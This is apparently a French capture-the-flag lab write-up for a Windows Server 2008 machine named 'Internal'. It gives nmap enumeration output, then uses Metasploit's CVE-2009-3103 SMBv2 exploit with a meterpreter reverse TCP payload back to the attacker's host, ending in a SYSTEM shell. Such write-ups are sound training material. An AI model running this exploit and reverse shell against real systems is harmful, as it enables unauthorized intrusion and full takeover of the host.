Internal

CVE-2009-3103

• Nom machine : Internal

• Difficulté : Facile

• OS : Windows

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 10:27 EDT
Nmap scan report for 192.168.212.40
Host is up (0.036s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
53/tcp    open  domain             Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.0.6001 (17714650)
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: INTERNAL
|   NetBIOS_Domain_Name: INTERNAL
|   NetBIOS_Computer_Name: INTERNAL
|   DNS_Domain_Name: internal
|   DNS_Computer_Name: internal
|   Product_Version: 6.0.6001
|_  System_Time: 2024-08-05T14:29:44+00:00
| ssl-cert: Subject: commonName=internal
| Not valid before: 2024-04-10T11:56:06
|_Not valid after:  2024-10-10T11:56:06
|_ssl-date: 2024-08-05T14:29:52+00:00; 0s from scanner time.
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: INTERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008::sp1, cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2

Host script results:
| smb-os-discovery: 
|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008 Standard 6.0)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: internal
|   NetBIOS computer name: INTERNAL\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-08-05T07:29:44-07:00
|_nbstat: NetBIOS name: INTERNAL, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:1d:0d (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-08-05T14:29:44
|_  start_date: 2024-04-11T11:56:03
| smb2-security-mode: 
|   2:0:2: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h23m59s, deviation: 3h07m49s, median: 0s

┌──(kali㉿kali)-[~]
└─$ nmap 192.168.212.40 -p445 --script vuln 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 10:38 EDT
Nmap scan report for 192.168.212.40
Host is up (0.032s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: TIMEOUT
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: TIMEOUT

Nmap done: 1 IP address (1 host up) scanned in 70.81 seconds

Accès initial

CVE-2009-3103

Nous allons utiliser msfconsole

msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see ht
                                      tps://docs.metasploit.com/
                                      docs/using-metasploit/basi
                                      cs/using-metasploit.html
   RPORT   445              yes       The target port (TCP)
   WAIT    180              yes       The number of seconds to w
                                      ait for the attack to comp
                                      lete.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted
                                        : '', seh, thread, proce
                                        ss, none)
   LHOST     10.0.2.15        yes       The listen address (an i
                                        nterface may be specifie
                                        d)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOSTS 192.168.212.40
RHOSTS => 192.168.212.40
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set LHOST 192.168.45.180
LHOST => 192.168.45.180
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run 
[*] Started reverse TCP handler on 192.168.45.180:4444 
[*] 192.168.212.40:445 - Connecting to the target (192.168.212.40:445)...
[*] 192.168.212.40:445 - Sending the exploit packet (951 bytes)...
[*] 192.168.212.40:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (176198 bytes) to 192.168.212.40
[*] Meterpreter session 1 opened (192.168.45.180:4444 -> 192.168.212.40:49159) at 2024-08-05 11:05:28 -0400

meterpreter > id
[-] Unknown command: id
meterpreter > shell
Process 2092 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system